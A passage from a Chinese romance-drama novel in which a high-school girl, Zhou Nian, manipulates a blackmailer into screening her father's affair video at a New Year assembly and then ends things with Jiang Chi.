店员喜上眉梢:“您眼光真好!这款是独立设计师作品,鱼头镶嵌天然水钻,鱼尾采用铂金工艺。” 听他介绍,徐明也挨了过来:“周念有耳洞吗?” “有。” 其实好几次江池都想问她,怎么没见她带过耳饰。 徐明捡起其中一颗,左右端详,又看了眼标签,大吃一惊。 “那么小的玩意儿,要卖一万八?”徐明凑到江池耳边劝他:“太贵了,换家店看看?” 江池没理他,直接让店员打包。 “就这个,包起来。” 徐明‘啧啧’两声,不由感叹:“到底是初恋,真舍得下手。” 挑完礼物,江池想起家里还有几个‘嗷嗷待哺’的狐朋狗友,又折去三楼买些日料和烧烤。没走几步路,徐明忽然叫住他。 “阿池。” 江池回头,徐明就站在不远处的杂物店里,手里拽着一条跟他脖子上一模一样的围巾。 “我怎么说来着?” ** 江池坐在桌前发呆,好半晌才缓过神,愣愣地看着桌上那条围巾。 他打开手机点开与周念的对话框,一字一字慢慢地输入:围巾很暖和,是你织的吗? 看着打完的字,连自己都忍不住笑了——哪有这样问人家的。当初不是自己说的“要是她肯费心思敷衍自己也挺好”么?自我安慰后,给周念打了电话,可惜没打通。 他把手机搁在一边,百无聊赖地拉开抽屉。抽屉一角放着红丝绒手拎袋,里面有个四方小盒,盒子里躺着一对金鱼耳钉。手拎袋下方压着四张机票,是一月二日银城与哈尔滨当天往返的机票。周念说过想看雪,但她生日在周中,他便计划元旦后当天往返,省得她因不能在外留宿而拒绝。 看完又小心翼翼地把机票塞回抽屉。 看完,又按耐不住想跟她说说话。江池把金鱼耳钉取出,等不及给她惊喜,对着手机拍了个照,拍完发给周念。 ——喜欢吗? 等了大半个小时,消息终究石沉大海。 两天都没等来周念的微信,江池直接给叶琳打了电话。叶琳将周念近况一五一十透露给江池,因为张宁疑心周念恋爱,所以没收了手机,也不让她参与学校晚自习。 如今的周念无异于被禁锢在家校两点一线的犯人。 ** 下课铃响前十分钟,教室后方的躁动愈发明显,数学老师用三角尺敲打黑板。 “没几分钟就下课了,大家熬一熬,这节课要点很多,尽量不要分心。” 周念本是心无旁骛地盯着黑板,但交头接耳的人多了,注意力难免会被分散。她低头记着笔记,余光里几个女生正对着走廊方向挤眉弄眼。 低语在躁动声中逐渐清晰。 “外面谁啊?那么好看?我们学校的?怎么没见过。” “有点眼熟,是不是老大……” “别说了,别说了。” 周念感到凳子被人轻踹,她一偏头,看到叶琳用笔指了指窗外。 “江池来了。” 玻璃窗外,江池双手插在外套口袋,虚靠在护栏上,正微歪着脑袋,好整以暇地看着自己。 待周念见他,他才弯起唇角,眉眼带笑。 下课铃响起,大家一窝蜂的往外涌,叶琳很识趣地拉着后桌去食堂。 “小念,要给你带饭吗?” 周念摇头:“不用。” 后桌女生一脸纳闷:“老大不吃吗?” 叶琳朝窗外瞟了眼:“人家有人等呢 。” 后桌女生朝外张望,江池那么直白的目光,是人都清楚两人关系非同一般。她豁然般拖了长音‘哦——’。 “那我们先走了。” 周念坐在原位眼睁睁看着江池大摇大摆地走进教室。当时,教室里还有三两个女生讨论去哪儿吃饭,瞧着江池冲着周念走去,一时间噤声不语。 江池倒是自在,侧身看向那群女生,口吻了带着点不轻不重地戏谑。 “这个点了?还不去吃饭吗?” 赶人的意图明显,女生面面相觑,不情不愿地快步离开教室。 待人走尽,江池用脚勾出叶琳的椅子,大剌剌地坐下,大约是位子实在太挤,他用脚抵住桌角缓缓挪出一段距离。 周念等他停下动作,才把笔记本慢慢合上,偏头不解地问他:“你怎么进来的?” 江池贴着椅背,漫不经心道:“我有手有脚的,当然是走进来的。” 周念不跟他贫,绷紧唇线眼神质问。 江池投降般轻叹一声。 “我说我迟到了,在保安亭打个电话让阿明接进来的。” 周念:“找我有事吗?” 江池抱臂不说话,目光如同藤蔓般将她细细缠绕。良久,忽地低头嗤笑一声,笑声夹杂涩意:“周老大那么镇定,衬得我像个笑话。” 他伸手摸进口袋,抚过机票边缘。 “那么多天?你真就没想过我?” 周念避开他直白的目光,将视线落到地上,胸线起伏一阵后无意识地搓了搓双手。 早料到她会是这种反应,江池深深吸气,转而从口袋里拿出一个四方小盒和机票。 “生日快乐。” 周念望着机票一时失神,等思绪再次收拢,她把机票连同盒子推了回去。 “你记错了,今天不是我生日。” 江池扯了扯唇:“身份证上也不是?” “嗯。” 周念不假思索道:“我妈为了让我早点上学,提早半年给我上的户口。” 她说得认真,不像有假,江池失落得挑了挑眉,又把礼物放在她手心。 “买都买了,你若不要大可以扔了。” 周念把东西放在桌上,低着头再次无意识地搓起手来。 “江池。” “嗯?” “我们到此为止吧。” 江池低下头去看她的眼睛,故作轻松地笑了笑。 “跟我开玩笑呢?” 他忽然想起当初寄给张宁的那些照片,心头陡然一紧,试探道。 “还是你妈跟你说了什么?” 周念抿着唇,沉默许久才说:“没有,她没说什么。” 江池仰头舒了口气,双手紧握周念胳膊,将她扶正,面对自己。 “你说等就等?你说算就算?你说到此为止,我们就到此为止?” 他突然失笑:“你当我什么,那么好说话?” 周念抬眸,正要说点什么,肩头突然一沉,只见他将额头轻轻地抵靠在自己肩上。 声音从耳畔传来。 “周念,别推开我,你要是害怕,我可以等你。” 周念下意识地蜷起手指,他的手从她胳膊下落到她手腕,再慢慢地包住她的拳头。 “就算不见我也没关系。” “不要再对我说这种话了。” “可以吗?” 走廊上,行人三三两两,匆匆而过,偶有窥见里头状况的,窃窃私语,捂嘴偷笑。又过了会儿,如时间定格,周遭所有都安静下来,只剩下两人深浅不一的呼吸。 久久等不到她回复,江池深深吸气,放开她的手,转而笑着去捏她的脸。 “对我好点行吗?” 周念望向他的眼睛,比以往任何一次说到都要慎重。 “江池,我们的事,你让我考虑一下。” 江池清楚她不是在开玩笑,敛起笑意,问:“你要考虑到什么时候?” “元旦那天下午,来我们学校礼堂,我会告诉你答案。” 第43章 第43章江池不像是那个靠谱的人…… 等叶琳一行人回来,江池已经走了。有几个八卦的女生围上来问东问西。 “老大,刚才那个你男朋友吗?” 周念没理睬,一味地看着笔记本,嘴里重复着上课的重点。 几个人自知没趣,各自散开。 叶琳只觉得她有点反常,但也说不出哪里反常,她把椅子拖到周念身边问她:“午饭没吃吗?江池走了?” “嗯。” 周念合上笔记本,展开新发的卷子,刚书写完姓名,脑中闪过某个念头,即刻抓住。 “琳琳,你手机能借我用用吗?” “当然可以。” 叶琳以为她只是借用手机打电话,没想到周念取下叶琳的手机卡,换上了自己的卡。 微信图标亮起的瞬间,数十条红点喷涌而出。周念径直点开最顶端的对话框,严力最后一条信息显示在五分钟前。 ——钱呢? 她往上划,如她所料都是催债的 ——说好的今天给钱呢? ——长本事了?电话不接,微信不回? ——妈的,敢耍老子,今天就把视频发网上。 ——你到底还想不想做交易。 周念扶着额,没思考太久,转头对叶琳说:“我出去打个电话,马上就回来。” 叶琳总觉得她有事,不安道:“小念,你有什么事情别自己扛着,我可以帮你分担。” 周念用手指抚平她眉心的褶皱,笑说:“放心,我没事。” 午间,操场上零零散散几个人,周念漫步在跑道上,目光失焦在严力的电话号码上。将应对的说辞反复演练几次后,她才按下通话键。 严力接电话的速度很快,也或许是在电话前等了很久,果然开口就是一通脏话,骂过瘾才回归正题。 “钱呢?” 太阳太大,晒了周念睁不开眼,她眯着眼看向远方的高楼,不紧不慢地回道:“今天还没攒够。” 对面冷笑一声,恶狠狠地威胁:“我看你是不准备让你爸好好过年了。” 周念眼神淡漠,口吻却焦灼:“你想怎么样?” 严力:“还能怎么样?让他身败名裂。” 周念:“你敢传网上,我就去报警。” “威胁我?”严力笑得大声,笑得歇斯底里,笑到一半戛然而止,再次开口,说话的语气更加阴鸷:“要不你试试?就现在,报警啊。” 话音未落,严力突然挂断电话。周念立刻重播回去,语气里带着求饶讨好:“别,千万别发网上,元旦结束,我爸就要晋升了,千万不要毁了他。” 她握电话的手紧了紧,继续道:“而且我不想让我同学们看我笑话。所以我求求你” 这话像一把刀,精准剜进他病态的愉悦里,对面思忖片刻,喉间滚出一声沙哑的嗤笑。 “你倒是提醒我了。元旦那天教育局年年都要来讲话吧,今年你爸会来吗?对了,不出意外的话,你应该是学生代表,也得上台发言吧。这样,我也不为难你。就十二月三十一日,这天要是见不到钱。” “咱们走着瞧。” 说完就挂了。 听到对面一阵忙音,周念全身力气像被瞬间抽干,握手机的手倏然垂落下来。 她深吸一口气,骤然叹出。 好累啊。 她看着白昼之下的世界恍惚得有点不真实。于是慢 慢蹲下身,低头抱膝,有那么一瞬,好想像只鸵鸟一样与这个世界短暂剥离。 她又打开手机,看看严力是否还有话要说,可手指一划,误触到江池的对话框。 里面是张照片,一对金鱼样式的耳钉。 下面还有话。 ——喜欢吗? 临近下午第一节课,周念回到教室,叶琳目光追随她进门,直到人落座。 “这是什么?” 叶琳戳了戳桌上的四方小盒,眼睛发亮。 “江池送的?” 周念把盒子和机票放进抽屉,没有要进一步解释的意思。叶琳识趣地不再追问,假装翻找课本,双手在抽屉里捣鼓半天,忽然掏出一个礼盒。 “登登登登!生日快乐,我最最最亲爱的周念小朋友。” “谢谢。” 周念这才露出点喜色,她接过礼物问:“这是什么?” 叶琳得瑟道:“现在很流行的卡片机,到时候你就拿着这个相机给我拍美美的照片。” 周念汗颜——这是送我礼物还是送自己礼物呢? 叶琳捕捉到她的表情,撒娇般搂住她说:“开玩笑呢,到时候我给你拍。” 周念把礼物收好,挣脱她的怀抱,笑说:“知道了。” 叶琳瞄着她的神色,小声试探道:“你跟江池怎么了?是不是张姨那边” “和我妈没关系。” 周念望着抽屉缝隙里的阴影,依然是当初那句话。 “我跟江池没怎么样,也不会怎么样的。” “挺好的。” 这回应让周念意外,下意识转头看去。叶琳难得神色认真,掰着手指分析:“你别怪我多嘴,你就该找个同类——那种戴细框眼镜、刷题像呼吸一样自然的高冷学霸。你的人生呢,就应该像电视剧里演的那样,出生在高知家庭,从小一帆风顺一路保送进名校,毕业考编上岸,三十岁前嫁给门当户对的优质男,平平稳稳的过一辈子。” 她若有所思地补充道:“江池不像是那个靠谱的人选。” ** 放学后,周念独自走在教学楼通往校门的路上,铁栅栏的影子斜斜压在她肩头,透过牢笼般的铁门,她看到张宁的车安静地停靠在路旁。 周念上车,把叶琳的礼物放在一旁,摘下书包扔在后座脚垫上。 张宁透过后视镜觑着礼盒,点火开车,待车子滑入主路,又不动声色地留意起周念,只是她神色木然,兴致不高。 “礼物?谁送的。” 周念偏头看向窗外,窗外的颜色因车膜被镀上一层灰黑色,显得阴沉而死寂。 “琳琳送的。” “哦。” 张宁拖了长音追问说:“是什么?” “相机。” 张宁嘴角蓦地一沉。 “这种玩物丧志的东西,一会儿妈给你保存起来,等你毕业了再还给你。” 周念不做抵抗,应了声‘嗯’。 瞧她温顺听话,张宁眉目舒展,目光瞟向副驾驶座位上的蛋糕。 “妈妈给你买了大蛋糕,等过了这段时间再给你办个像样的成人礼。对了,我今天请你小姑来” 引擎声混着话语在车内浮动,当张宁再次抬眼时,后视镜里只剩下一团蜷缩的影子,周念躺在后座睡着了。 周宏珊此行有两个目的,一是为了给周念过生日,二是来找张宁兴师问罪的。可当她推开门,看见张宁蹲在厨房角落摘菜时,汹汹气势顿时泄了大半。她脱下羊绒大衣,将毛衣袖子撸到手肘,蹲到张宁身边。 “要帮忙不?” 张宁闷笑:“得了吧,四体不勤五谷不分的,一会儿等着吃就行了。” 周宏珊不接茬,自顾自抓起一把小葱。 “念念呢?” “楼上写作业呢。” 张宁用下巴指了指楼上。 “饭好了再喊她下来。” 来之前,周宏珊设想着,见到张宁就把包包往地上一甩,煞有介事地质问她,‘你是不是把我卖了?挑拨我跟念念的姑侄关系。’可当真站到这儿,质问的话到嘴边又软了几分。 “嫂子,你是不是没收小念手机了,连晚自习都没让她上?” 张宁不以为然:“对啊,这时候不收,万一她做了什么出格的事情怎么办。” 周宏珊心里一阵发堵。 “你这是侵犯人身自由,不公平。” “公平?” 张宁斜眼睨她:“我生她养她,供她吃喝,把她培养成尖子生。当妈的这点权利都没有?” 周宏珊把摘好的菜放入脸盆,端去水池,水龙头哗哗的响声中,她的埋怨像浮沫一样断续飘出。 “嫂子,你也知道我是做睡眠心理研究这一块的。我接触过太多失眠的青少年。你以为他们的病症根源是身体机制出问题了?错了!每次问诊,家长都要插嘴,把责任全推给孩子,自己倒摘得干净。” 她偷瞄着张宁绷紧的侧脸,轻声补了句。 “有时候,病源根本不在孩子身上。” “你都没生过孩子,少用你这套理论来指点江山。” 张宁把剩下的菜端到水池前,挤开周宏珊,洗完手甩甩水渍,不甚在意地说:“起码在银城,没人比我更懂怎么教育孩子。” 饭桌上,周宏伟和张宁都很给面子的没有争执与冷眼,大家都在努力地扮演琴瑟和鸣,母慈子孝的合家欢戏码。周念吃完饭,吃了点蛋糕就上楼了。 周宏珊执意要留下来跟周念睡,张宁旁敲侧击地暗示过几次,但她故意装傻充愣也就蒙混过去了。 周念在浴室洗澡,周宏珊就在她房间里来回踱步,她想解释一下自己并非故意将事情透露给张宁,并且没想到事情走向不受控制。等了半天没见周念出来。 她轻轻叩门,小声说:“念念?” 花洒骤停,衔接上周念的声音。 “嗯?怎么啦?” “对不起,小姑不是故意在你妈面前告状的。” “没关系。” 里头顿了秒,水珠坠地的滴答声填补了对话间隙。 “迟早也会知道的。” 周宏珊的额头抵上门板,稍稍舒了口气 “你不怪我就好。” “怎么会呢?” 堵在周宏珊胸口的郁气瞬间消解大半,她坐在书桌前,百无聊赖地翻动起几本课外书,书上除了板正的印刷文字还有周念密密麻麻的笔记。她突然有点心疼这孩子,永远低眉顺眼,乖巧听话,从不与人争执与人为难。 可人的天性是自由外放的,懒散,叛逆,反抗才是人类原始本性。她压抑本性,顺从听命,像被剪去利爪的幼兽,连呜咽都小心翼翼。 不,不够准确,她不是顺从,是麻木。 想到这,她的心不由的揪了一下。 发散的思绪被强行扯回,周宏珊将课外书放回书架,余光里扫到一个白色小罐。她望了眼浴室门,淋浴水声仍在持续,她把白色罐子取出打开。 里面是她再熟悉不过的东西——安眠药,怪不得这段时间张宁的药量如此之大,原来一部分都被周念偷偷藏起来了。 她吸了吸鼻子迅速把东西放回原位。 夜半,周宏珊在寂静中捕捉到被褥窸窣摩擦声。 “小念?”她对着黑暗轻唤。 “嗯。” 周宏珊翻身面向周念。 “最近睡不好吗?” “没有。” “那有没有” “没有。” 她将胳膊轻轻探到周念颈下,慢慢地将她搂紧,下巴抵在周念发顶。 “不想说也没事。” 第44章 第44章我要报警 十二月最后一天,周念站在校门口,看着张宁的车渐渐驶远,渺小成了一个黑点。她转身折回教学楼,以家中有事为由请好假,背着书包再次离校。 她带上口罩,先去附近公厕换下校服塞进书包,随后将书包寄存在小卖部。路过手机店时挑了部二手机,试过通话和微信功能便揣进口袋。最后拦了辆出租车,直奔城南电玩城。 三天前的体育课上,她特意挨着马洋休息。马洋是严力在一中任教时跟他走得最近的人。等他擦汗的空当,周念适时递上矿泉水。 “马老师,还是您上课有意思,严老师以前总让我们跑圈。” “别提那人。”马洋拧开瓶盖猛 灌一口。 “整天泡在游戏厅赌台球,欠我的钱还没还。” “游戏厅还能赌博?” “里头的门道多着呢。”马洋压低声音:“姑娘家家别去沾这些。” 周念点着头顺势问:“严老师常去哪家游戏厅?” “还能是哪——” 他朝城南方向努了努嘴。 城南游戏厅独占四层楼面,与普通游戏厅偏居商场角落的格局截然不同。虽然名为游戏厅,实则涵盖了台球区、棋牌室、电玩城、洗浴中心等各项娱乐场所。 偌大的地方,要找到人其实并不简单,若不是严力跟人起争执闹出点动静,周念根本发现不了他。 当时台球厅门口闹哄哄地围着一群人,为首的壮汉凶神恶煞,指着严力鼻子骂他没钱还要赌。严力抄起半截台球杆就要冲上去,到底架不住对方人多败下阵来。直到保安赶来驱散人群,他才灰头土脸地离开了商场。 周念不敢跟得太近,隔着二三十米尾随他出了游戏厅。严力并未走远,转身拐进商场外的垃圾街,挑了家门头老旧、油渍斑驳的快餐店。 老板一见他就板起脸:“走走走!先把欠的账结了再来!” 严力没争辩,径直走向隔壁包子铺。他翻遍所有口袋,只摸出两枚硬币,勉强买了一个包子。 周念寻了个不易被发现的角落,拿出新买的二手手机,插上电话卡。屏幕滑至与严力的聊天界面,还是那几句话,只是措辞愈发凶狠,那些威胁的文字似乎能穿透手机屏幕张牙舞爪地朝自己挥来。 她边观察严力的动作,边按下手机。 ——没钱。 严力正倚着摩托车刷手机,看到消息时突然僵住。他先是神经质地低笑两声,继而暴怒地将包子砸向地面。 “操!” 就在他埋头打字回骂时,周念迅速拉黑微信、拔出电话卡,隔着街道继续观望。 这次是真的惹怒了严力,只见他双手插着腰际,玩味儿似的笑了笑,怒冲冲地撸了把头发后一脚踹在路边的摩托车上。踢完不解气,路边所有的车辆跟着遭了殃。 严力发泄完怒火后,喘着粗气站定,突然伸手抓过包子铺笼屉里的肉包扭头就走。摊主追出两步,瞥见对方凶戾的神色,最终骂骂咧咧退回摊前。 周念快步紧跟。 严力拐了两个口子,停在一辆老旧摩托前,他摸出钥匙跨上车,发动机轰鸣着窜出巷子。周念眼见他的车越来越远也没去追,而是在路边拦了辆出租。 上车后,让司机问她去哪儿。 周念说:“去一中。” 车停在校门口,她借口等人留在车上,目光却紧锁校门。不出十分钟,严力的身影果然出现。他绕着围墙缓慢踱步,时而驻足思考,时而打量监控探头。 他在盘算着怎么进去呢。 直到这一刻,周念才满意地弯起唇角。 她靠在后座上,目光失神在车顶的遮阳帘上,心想。 ——终于要结束了。 ** 元旦当日下午,一中校门敞开,因举办文艺汇演的缘故,校方暂缓了对进出学生的衣着要求。江池跟着徐明穿过人潮向礼堂走去,由于观众席按班级划分区域,同班学生都需集中就座。为避开人群视线,徐明特意领着江池坐在最后一排的角落。两人刚在座位上坐定,便见礼堂入口处成群结队的学生陆续入场,原本空旷的观众席渐渐被填满。 从进一中校门开始,江池就冷着脸一言不发。徐明纳闷他为何突发奇想非要来一中礼堂,但看他这副臭脸,基本跟周念脱不了干系。 “来找周念?” 江池双手插兜沉默着坐在椅子上,目光直直地盯着主席台。 徐明小心试探:“吵架了?” 江池不吭声,宛如一尊沉默的雕塑。 徐明无奈地“啧”了一声,懒懒地歪在座椅上。 “你要找周念也不该是这个时候来。今天是元旦,一会儿肯定要搞形式主义的领导讲话。周念是学生代表,肯定得上台发言,哪有时间应付你。” 约莫大半个小时,全校师生陆续就坐,礼堂内人声鼎沸,所有人因这半天的短暂假期而兴奋。主席台上桌椅早已摆好,只待领导入座。又过去十分钟,礼堂灯光瞬间熄灭,周遭遁入昏暗,霎时,灯光齐齐亮起,顷刻间将整个空间照得亮如白昼。 与此同时,主持人拿着话筒上台介绍。开场都是些陈词滥调,无人在意,台下学生们依旧交头接耳,难掩兴奋之情。校长隐在礼堂角落朝教师席递了个眼色,各班班主任当即沉下脸扫视全场。方才还窸窣作响的人群,顷刻间鸦雀无声。 领导人由主持人介绍依次入座,当念到“周宏伟”时,江池眉头骤然收紧,指节无意识蜷起。待领导全部入座,此次讲话才正式开始。 开头便是校长老生常谈,先说不足再谈优势,长篇大论完还要鼓舞士气。一套组合拳打下来,二十分钟快过去了。徐明听得不耐烦,用手肘捅了捅身侧的江池:“马上就是周念了。” 可当主持人邀请学生代表发言时,上台的居然不是周念。 徐明纳闷:“嗯?周念呢?” 不光是他觉得奇怪,周宏伟看着边上从容发言的学生也纳闷,明明是周念求他来的,自己来了反而周念不见踪影。 此时,请假躲进二楼看台的周念正在俯瞰全场。她神色淡漠地看向周宏伟,从周宏伟微皱的眉宇间看穿他的疑惑。也对,人是她请来的,按剧本此时此刻他应该满心欢喜地看着自己的宝贝女儿在台上慷慨陈词。 视线移转,她看到教师席上的傅研,她还是像往常一样,穿着得体,谈吐优雅,举手投足间皆是韵味,跟周遭的老师谈笑风生,偶尔会抬眸看一眼台上的人,然后柔情似水地勾唇一笑。 她真美,不像张宁一看就是操劳的中年妇女,只埋头承包家里所有琐事。 她最终望向江池,讥诮的目光逐渐暗淡下来。 周念垂眸不再看,背对观众席,拿出跟叶琳借的手机给傅研发了一条短信。 ——傅老师,我好像看到江池了,他在最后一排。 傅研收到短信的一刹,猛然回头。礼堂很大,后排从左到右足有上百个座位,一时不知从何找起。边上的同事看她着急,询问道。 “怎么啦,傅老师?” “没什么。”傅研笑说:“我去上个厕所。” 她顺着台阶往上走,目光依旧扫视着后排,最终在角落位置找到江池。 江池仍直视前方没有留意到傅研靠近,等他反应过来边上做了个人时才偏头睨了眼,还没来得及舒展的眉目愈发紧皱。 傅研欢喜又小心地开口:“小池?你怎么来了?来找我的?” 江池扫了眼后就没再看她,视线依旧往前,只是余光会稍稍瞥过边上的人。 倒是徐明看到傅研来,立刻笑嘻嘻地跟她打招呼。 “傅老师?” 傅研冲他颔首:“阿明。” 徐明瞧江池这副死样子,暗地给他一脚,待他不耐烦地转过头,他才用口型说:“你妈来了,你倒是说话啊。” 江池静默数秒,吸了口气后站了起来,作势要走。 徐明看傅研逐渐失落的表情,问他:“你去哪儿啊?” 江池冷冷地回了句。 “买水。” 走出礼堂,江池一头扎进厕所,摸出根烟抵在窗边。上次,他对周念说谎了,烟并没有完全戒掉只是瘾头压着淡了些,这几天周念的态度又让他琢磨不定,私下里憋不住偷偷地抽过几根。这会儿烟卷在指节间碾了小半圈,另一只手无意识地把玩着打火机,最后又给塞了回去。 返回礼堂,江池手里多了两瓶水,其中一瓶路过傅研时直接塞进了她怀里。傅研摩挲着手里的水瓶,眼眶竟然不受控地泛红。徐明自觉接过另一瓶水,开盖后对江池说。 “傅老师在这儿,你好歹跟她聊几句。” 江池斜眼看他:“你不是很闲吗?你来聊。” “” 徐 明仰头灌水,喝完白了他一眼,目光穿过江池,半俯身对傅研说。 “傅老师,阿池是来找他女朋友的。” “是吗?” 傅研满是欣慰地看向江池,想就此事说点什么,主席台的麦克风突然炸响,而后传来周宏伟的声音。他是此次以教育局名义来参加一中活动的领导。这会儿轮到他发言来,傅研的注意力被他吸引,全然忘了要说什么。 江池死死盯着台上,余光中瞥见傅研专注的眼神,拳头慢慢收紧。然而就在此时,礼堂的灯光忽然熄灭,不似刚才那次短暂的灭而复明,在很长一段时间内,礼堂都处于昏暗状态。 观众席上渐渐沸腾。 “怎么回事儿啊?设备坏了?” “别整这些虚的,直接放假行不行?” “再等等再等两分钟准好。” 徐明倒是喜欢这种插曲,横竖厌烦领导形式化发言,心说不如搅乱流程,他好早日放假。这般想着,主席台大屏幕倏然亮起,荧幕忽闪,一对男女在电梯间拥吻的画面陡然切入。事情过于突然,观众席瞬间鸦雀无声。 有人眯着眼辨认主人公的身份,很快观众席窸窸窣窣地响起一阵骚动。 “这男的是不是刚刚致辞的领导啊?” “那女的是不是教美术的傅老师?” “什么情况啊,元旦整那么大的活。” 几个好事的学生探头寻找傅研的身影,前排有人面面相觑,目光时不时往这头瞟。 渐渐的,无数目光如芒刺般扎向傅研,疑惑、猎奇、轻蔑、遗憾在空气里交织成网。她喉间发紧看向江池:“小池” 徐明下意识转头,见江池半张脸都浸在屏幕的冷光里,眼神阴鸷,死死盯着大屏幕跳转的画面。 傅研慌忙攥住他的手腕。 “小池” 江池霍然起身抽手只冷冷一字。 “滚。” 周念最终也没目睹那场闹剧,她背着书包游荡在大街上,驻足在派出所门口。自动门内走出个穿警察制服的中年男人,瞧她这个点站这儿八成是有事。 “小姑娘,遇到麻烦了吗。” 周念唇线抿直说:“我要报警。” 第45章 第45章你嘴里到底有没有真话?…… 从派出所到家的这段距离,周念是用走的,也没多大劲,转眼就到了。原本她以为等事情结束,会像电视剧里演的那样拥有‘复仇’的快感。可不知为什么心却越来越堵,堵得她喘不过气。 让他们‘身败名裂’不就是自己想看到的吗,为什么不敢看呢?当初靠近江池不就是为了让他直面傅研的窘迫吗?为什么不去看呢? 答案不得而知。 她驻足在家门前,大口大口地呼吸,她无法设想张宁得知此事后的心情。等周宏伟回来是否又将迎来一场一触即发的争吵呢? 她站在原地,鬼使神差地看向那个角落——第一次见到江池的角落。 此刻的他又在想什么。 张宁没有追问周念的去处,等她到家还是像往常一样催促她作业,然后烧饭做菜,唤她下来吃饭,所有事情按部就班。只是吃饭时,沉默被无尽拉长。 周念突然开口问:“妈,你打算离婚吗?” 张宁先是一愣,而后窘迫一笑:“你在说什么呢?” 周念把碗筷轻轻搁置在桌上,像是自说自话。 “今天的事,是我做的。” 张宁夹菜的手一僵:“什么?” 周念这才面向她,一字一字地吐露:“今天那段视频,是我故意让人放的。” 张宁的手肉眼可见地颤动,她不确信地重复道:“你让人放的?” “是。” 周念眼神坚定。 “是我做的。” 张宁的眼泪夺眶而出,再次开口是沙哑的颤音。 “你为什么这样做?你要逼我们离婚吗?我们欠你什么吗?你为什么要这样逼我们?” “妈?”周念不可置信道:“他都这样了,为什么不离婚,为什么要忍受?” 话音未落,张宁突然将手中饭碗砸落在地,她激动道:“他是你爸!他再怎么不对,他也是你爸!我们的事情我们自己会解决。我是不是提醒过你让你别插手这件事。你这样做让他以后在单位怎么面对同事,让他以后怎么面对街坊邻居,让他怎么做人!” 周念看着她歇斯底里地咆哮,只觉得周遭全是单一的鸣音,只能看到她的唇形在不断变化,却分辨不出她的每一句话,每一个字。她惊讶地发现自己竟能平静地看着她指责谩骂,而内心再无波澜。 等张宁恢复平静,周念才淡淡地开口。 “所以到头来,我才是那个罪人?” ** 夜宵摊的边角,钨丝在沾满油垢的玻璃灯罩里苟延残喘,将本就不亮的光晕滤成病恹恹的昏黄。礼堂发生的事,桌上的人或多或少都听闻了些,也许是忌惮江池的情绪,没人敢提起。几个本就不太熟的酒肉朋友见气氛微妙就提早散场了,剩下几个交情深的留了下来。 一顿饭下来,江池面前的一次性筷子始终原封不动地躺着,连塑料包装纸都没拆。宋佳月心头说不出的难受,她咬着下唇回身打了碗饭舀了些汤送到他面前。 “真不饿吗?” 江池垂眼盯着水泥地上的裂缝,两指夹着烟尾,一口接一口往干裂的唇缝里送,好似要把整支烟直接捅进肺管。 徐明在几米开外的马路牙子上来回踱步,手里电话一直保持通话中:“卧/槽。好,我知道了,真行她。” 打完电话骂骂咧咧地回到桌前,他随手拽过一个塑料凳往地上一扔,挨着江池坐下。 “阿樾说周念报警了,说她被敲诈勒索,勒索人是严厉,也就是今天放视频那畜生!” 不知道江池有没有听进去,整个人仿佛被抽了魂似的一点反应都没有,耷拉着眼皮死盯着地面。 “阿池,我他妈最后一次劝你。” 徐明点了根烟,戳进齿间,猛吸一口后,蹲在地上,歪着脖子去够江池低垂的视线。 “你仔细想想周念她为什么把你叫到一中礼堂,你倒是去了,她人呢?你再想想傅老师是怎么知道你今天在礼堂的。那么多人呢,你也看到了,那个犄角旮旯不特意去找根本不可能碰巧发现你的。除非有人跟她说,是谁知道你在哪儿?” “还有,她明明知道这段视频的存在为什么不说,为什么要憋着给人送钱。又是为什么非要在这个时间点去激怒人家。” “你想想是不是所有的巧合都对上了?” 徐明分析了半天,口干舌燥,江池却仍然一副纹丝不动的死样,他气得直接夺走他到嘴的烟。 “你听到了没?” 江池沉默半晌,从烟盒里摸出最后一根烟,点完,才不紧不慢地掀起眼皮说。 “我没聋,听得见。” “呵。”徐明气笑了:“我还以为你死了呢?” “我今天把话放这儿,周念钓着你说不定就等这一天呢?你还天真的以为她喜欢你?” 说完,又自顾自地冷笑:“早说她这个人做事绝。傅老师和你也就算了,连亲爹都这样算计。” “我呸,白眼狼。” ** 张宁坐在桌前哭了半天,说自己命苦,看不住老公,也没管好孩子,把这些年的委屈从头到尾细数给周念听。中途进了个电话,是老家长辈打来的,张宁说了句就出门了。 周念收拾了地上的碎碗和残渣,把碗筷端进厨房准备洗完,路过挂钟时她看了眼时间, 晚上十点一刻,周宏伟应该不会回来了吧,今晚教育局的大灯会亮一整夜吧。 骤响的门铃将她飘忽在外的思绪拉回。 “来了。” 她把碗筷放入水池,洗完手后去开门。 门一开,卷入几点细雨,银城的冬天就是这样,时不时飘点雨花,总是阴沉沉的终日不见晴。见到来人,她倏然定在原地。江池一身黑衣站在门外,他垂眸看地,手里捻着将尽的烟,一丝白雾挣着最后一口气游丝般攀升,消散。 周念侧身换鞋,从伞桶抽了把伞。 “有什么话,出去说吧。” “没必要,问完我就走。” 他缓缓抬起头,一双红红的眼睛不加掩饰地凝望着周念的脸,好半晌,似笑非笑地短哼一声。 “你嘴里到底有没有真话?” 周念抿唇,指甲陷入黑色伞布,她不紧不慢地回答道:“你来是为了验证心理的猜想吗?那我告诉你,你猜到的都是对了。” 他微不可查地滚了滚喉结,苦笑着移开视线。 “为什么?你为什么要这样做?” 周念脱掉鞋子,把伞重新插回伞桶,看着外头逐渐增大的雨势,再望向江池被打湿的肩膀,蓦地笑了一声。 “江池,我发现你这个人怎么会那么单纯。单纯到以为世界上真会有人跟你同频,什么芒果过敏,什么调料加醋,不过就是我靠近你的手段罢了。” 江池倏地回眸,混着雨雾的视线深深剜向她。 “你在说什么?” “我说得不够明白吗?” 周念讥诮反问:“要我说得再明白一点吗?我从三岁就开始游泳,八岁差点被体校选上。你不会真的以为我会健忘到不热身就下水吧。” “我从见到你的第一眼就知道你要对我做什么。” 她一步向前,站在雨水隔开的分界线上,阴冷的水渍沾湿她白色的袜子,寒气顺着脚蔓延而上。 “你不是想毁了我吗?我不过是以你的计划来对付你,你怎么就难过了呢?” 江池的指节骤然收紧,烟蒂在掌心碾成齑粉。远处滚过闷雷,雨幕中骤然劈开一道闪电,惨白的光将他眉骨投成断裂的悬崖。 他忽然低笑出声。 “毁了你?我有真的对你做过什么吗?” 江池快分不清眼睛里发涩的是泪水还是雨水,他拿手背抹了把发痒的眼睛,而后看向周念的蜷起的手,有那么一秒,他很想去牵那只手。 他缓缓抬起眼眸,去够她淡漠冰凉的视线。 “所以你从头到尾都没看上过我,是吗?” 回应他的是周念冷静而坦荡的目光:“是。” 